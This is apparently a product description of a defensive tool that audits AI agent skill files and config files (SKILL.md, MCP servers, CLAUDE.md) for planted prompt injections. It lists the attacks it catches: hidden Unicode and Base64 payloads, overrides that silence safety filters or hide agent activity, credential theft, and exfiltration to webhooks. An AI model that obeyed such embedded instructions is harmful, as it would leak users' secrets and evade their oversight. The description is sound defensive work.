audit agent skill

The problem

Skill files and context documents are not just documentation. They are text instructions that an agent obeys, making it trivial for attackers to hide malicious commands, credential thieves, or remote execution payloads in plain sight.

What it does

• Scans for hidden Unicode characters, Base64 payloads, and scanner-evasion tricks like invisible text.
• Identifies instruction overrides that attempt to silence safety filters or hide agent activity from you.
• Detects unauthorized access to secrets like API keys, SSH credentials, and environment variables.
• Flags dangerous shell commands, remote downloads, and data exfiltration patterns to unknown webhooks.
• Verifies that declared behavior in the skill metadata matches the actual instructions.

Why this beats prompting it yourself

Standard agents are prone to prompt injection and may accidentally follow the hostile instructions they are meant to audit. This skill treats the input strictly as data, uses a specific 10-point threat model, and decodes obfuscated payloads instead of ignoring them.

Use cases

• Vetting a third-party SKILL.md or MCP server from GitHub before installation.
• Auditing .cursorrules or CLAUDE.md files in a shared or public repository.
• Checking suspicious Base64 blobs found within agent configuration files.
• Verifying that your own developed skills don't leak environment variables.

Known limitations

A clean scan is not a guarantee of safety as new evasion techniques evolve. It cannot verify the runtime behavior of external binaries downloaded by a skill.